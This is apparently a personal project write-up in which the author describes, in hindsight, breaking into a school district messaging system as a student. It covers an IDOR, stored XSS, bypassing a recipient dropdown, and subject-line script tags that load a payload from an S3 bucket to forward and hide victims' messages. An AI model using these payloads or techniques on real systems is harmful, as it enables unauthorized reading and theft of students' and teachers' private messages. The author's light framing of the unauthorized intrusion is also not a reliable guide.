Projects • WITS
Disclosure
This project involved unauthorized access to a school district information system while I was a high school student. While my actions at the time were ethically questionable (and possibly illegal), they sparked a lasting interest in cybersecurity, software development, and system design.
Table of Contents:
- The Discovery
- Vulnerability 1: Insecure Direct Object Reference (IDOR)
- Vulnerability 2: Stored XSS via HTML Editor
- Escalation: Payloads in Subject Lines
- Injecting Scripts Hosted Remotely on S3
- The Halloween Mass Exploit
The Discovery
I was a high school student when my friend Eddie Shen showed me something strange in WITSMail, the internal messaging system for students and teachers in our school district. While viewing a message in his inbox, he noticed a plain integer ID in the URL. Something like:
/witsmail/messages?id=27413
Out of curiosity, he incremented it. What we saw next instantly gave me that tingling feeling of excitement. We were reading a message that wasn't his. It was a message that had been sent by someone else, to someone else. It seemed like all messages were accessible this way, including those sent by teachers, parents, and administrators. There was no authorization or permission check. If were logged in and you entered a valid ID, you could read the message.
This was the first time I had ever encountered an IDOR vulnerability in real life, and it lit a fire in me.
Eddie did the right thing: he reported it to the school district. A couple weeks later, the issue was quietly patched. After this, I wanted to know what else was possible.
Vulnerability 1: Insecure Direct Object Reference (IDOR)
The IDOR vulnerability in WITSMail was shockingly simple. When viewing a message, the web app used a URL parameter like this:
/witsmail/messages?id=27413
There was no authorization check on the server side to confirm that the logged-in user had permission to view that message ID. The application simply pulled the message from the database and rendered it.
This meant:
- Incrementing or decrementing the ID let you read someone else's messages.
- No rate limiting or alerts prevented scanning entire message history.
- No audit trail tracked unauthorized views.
From a school district's perspective, this was catastrophic: parent-teacher conversations, disciplinary notes, student records, anything that would have been discussed via WITSMail was completely wide open to any student willing to tweak a URL.
I didn't weaponize it. But I explored it enough to see the scope of exposure. When Eddie reported it, they quitely fixed it. At least they thought it would be quiet. But a voice in my head was very loudly saying that I would find deeper flaws in the system. And I started looking. I did not have to look very far.
Vulnerability 2: Stored XSS via HTML Editor
After the IDOR was patched, I shifted my attention to another part of WITSMail. The compose screen featured a WYSIWYG (What You See Is What You Get) editor for writing message bodies, including a button with an icon that looked like HTML tags. Clicking this button allowed direct editing of the HTML markup of the message.
By default, messages wrapped content in a simple paragraph tag like:
<p>Your message here</p>I was curious. Could it handle other HTML elements, maybe <script> tags?
I crafted a simple test payload:
<script>alert("XSS Test")</script>I needed to send it to myself, but since I was a student, the recipient field was locked down to a dropdown list of allowed recipients. I had seen this screen before from the perspective of a teacher and they had a plain text input field so they could send an email to whoever they wanted.
Inspecting the element revealed a standard HTML <select>:
<select name="recipient">
<option value="teacher123">Mrs. Smith</option>
<option value="teacher456">Mr. Doe</option>
</select>By editing the value attribute of one of these <option> elements directly in the browser's inspector, changing it to my own student ID, I bypassed the frontend restriction and successfully sent the message to myself.
It worked perfectly. The JavaScript executed immediately upon opening the message. I had discovered a textbook stored XSS vulnerability:
- The payload was permanently stored in the database.
- It executed every time the message was viewed, not just when initially opened.
This was a severe vulnerability. Stored XSS could allow attackers to hijack accounts, steal sessions, or even impersonate teachers/administrators.
Escalation: Payloads in Subject Lines
While exploring further, I realized that WITSMail also failed to sanitize HTML in the subject line of emails. This was a major escalation.
Unlike message bodies, which required a user to open a message, the subject lines were rendered directly on the inbox page. The meant:
- A malicious payload in the subject field would execute as soon as the inbox is loaded.
- No user interaction beyond opening their inbox was required.
Injecting Scripts Hosted Remotely on S3
The subject field had a character limit, which made direct script injection tricky for anything beyond a very simple proof of concept. So I went with an indirect appraoch: instead of embedding full scripts, I hosted them in a public S3 bucket and injected them like this:
<script src="https://my-bucket.s3.amazonaws.com/payload.js"></script>This worked flawlessly. It allowed me to write and maintain complex JavaScript exploits externally, update them at will, and bypass the size limitation on the subject field.
From there, I built auto-forwarding scripts that would send spoofed replies back to me as if written by the victim. I used DOM manipulation to hide these messages from their inbox so they'd never notice.
At this point, I understood the scale of what was possible. And while I never used these capabilities to steal or destroy data, I pushed right up against the ethical line. I even left cheeky comments in my code like:
// You're lucky it was me and not some one malicious.
// I'd love to do an internship with the district IT team.